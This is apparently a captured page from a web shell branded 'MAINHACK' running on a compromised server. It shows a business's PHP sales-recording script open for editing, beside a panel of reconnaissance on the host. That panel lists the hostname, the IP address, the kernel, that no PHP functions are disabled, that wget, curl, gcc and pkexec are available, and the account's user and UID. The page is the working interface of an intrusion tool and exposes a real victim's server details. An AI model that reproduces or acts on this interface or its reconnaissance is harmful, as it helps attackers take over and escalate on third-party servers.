[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: save_appointment.php
<?php ini_set('display_errors', 0); ini_set('log_errors', 1); include("../admin/includes/functions/functions.php"); include("../admin/db/db.php"); $shopname = $_SESSION['business_name_Xw211qAAsq4']; header('Content-Type: application/json'); // Get JSON input $input = json_decode(file_get_contents('php://input'), true); if (!$input) { echo json_encode(['success' => false, 'message' => 'Invalid input data']); exit; } // Extract data $customer = $input['customer']; $sale_date = $input['sale_date']; $items = $input['items']; $payments = $input['payments']; $sub_total = $input['sub_total']; $tip = $input['tip']; $commission = $input['commission']; $commission_percentage = $input['commission_percentage']; $grand_total = $input['grand_total']; $shopname = $input['shopname']; // Validate required fields if (empty($customer['client_id']) || empty($items) || empty($sale_date) || empty($shopname)) { echo json_encode(['success' => false, 'message' => 'Missing required fields']); exit; } // Prepare data for appointments table $date_created = date('Y-m-d H:i:s'); $created = date('Y-m-d'); $client_id = $customer['client_id']; $start_time = $date_created; $end_time_expected = $date_created; $canceled = '0'; $cancellation_reason = ''; $active = 'Yes'; $status = 'offline'; $payment_mode = !empty($payments) ? implode(',', array_column($payments, 'type')) : 'None'; $discount = array_sum(array_column($items, 'discount')); // Sum of item discounts $comRate = $commission_percentage; // Collect unique employee_ids from items $employee_ids = array_unique(array_column($items, 'employee_id')); $employee_id_string = implode(',', $employee_ids); // e.g., "1,2,3" try { // Start transaction $con->beginTransaction(); // Insert into appointments table with comma-separated employee_ids $stmt = $con->prepare(" INSERT INTO appointments ( date_created, created, client_id, employee_id, start_time, end_time_expected, canceled, cancellation_reason, active, status, payment_mode, business_name, discount, comRate, tip, total_amount ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) "); $stmt->execute([ $date_created, $created, $client_id, $employee_id_string, // Store comma-separated employee_ids $start_time, $end_time_expected, $canceled, $cancellation_reason, $active, $status, $payment_mode, $shopname, $discount, $comRate, $tip, $grand_total ]); $appointment_id = $con->lastInsertId(); // Insert into services_booked and true_price tables $total_amount = 0; foreach ($items as $item) { // Fetch service_id based on service_name $stmt = $con->prepare("SELECT service_id, service_price FROM services WHERE service_name = ? AND business_name = ?"); $stmt->execute([$item['service_name'], $shopname]); $service = $stmt->fetch(PDO::FETCH_ASSOC); if (!$service) { throw new Exception("Service not found: " . $item['service_name']); } $service_id = $service['service_id']; $service_price = $service['service_price']; $item_total = $item['quantity'] * $item['price'] * (1 - $item['discount'] / 100); $total_amount += $item_total; // Insert into services_booked (unchanged) $stmt = $con->prepare("INSERT INTO services_booked (appointment_id, service_id) VALUES (?, ?)"); $stmt->execute([$appointment_id, $service_id]); // Insert into true_price $stmt = $con->prepare("INSERT INTO true_price (appointment_id, service_id, price) VALUES (?, ?, ?)"); $stmt->execute([$appointment_id, $service_id, $item['price']]); // Update service status $stmt = $con->prepare("UPDATE services SET s_status = '0' WHERE service_id = ?"); $stmt->execute([$service_id]); } // Update total_amount in appointments $stmt = $con->prepare("UPDATE appointments SET total_amount = ? WHERE appointment_id = ?"); $stmt->execute([$total_amount + $tip + $commission, $appointment_id]); // Insert payment details if (!empty($payments)) { foreach ($payments as $payment) { $stmt = $con->prepare("INSERT INTO payments (appointment_id, payment_type, amount,shopname) VALUES (?, ?, ?,?)"); $stmt->execute([$appointment_id, $payment['type'], $payment['amount'], $shopname]); } } // Commit transaction $con->commit(); echo json_encode(['success' => true, 'message' => 'Sale recorded successfully']); } catch (Exception $e) { $con->rollBack(); echo json_encode(['success' => false, 'message' => 'Error recording sale: ' . $e->getMessage()]); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002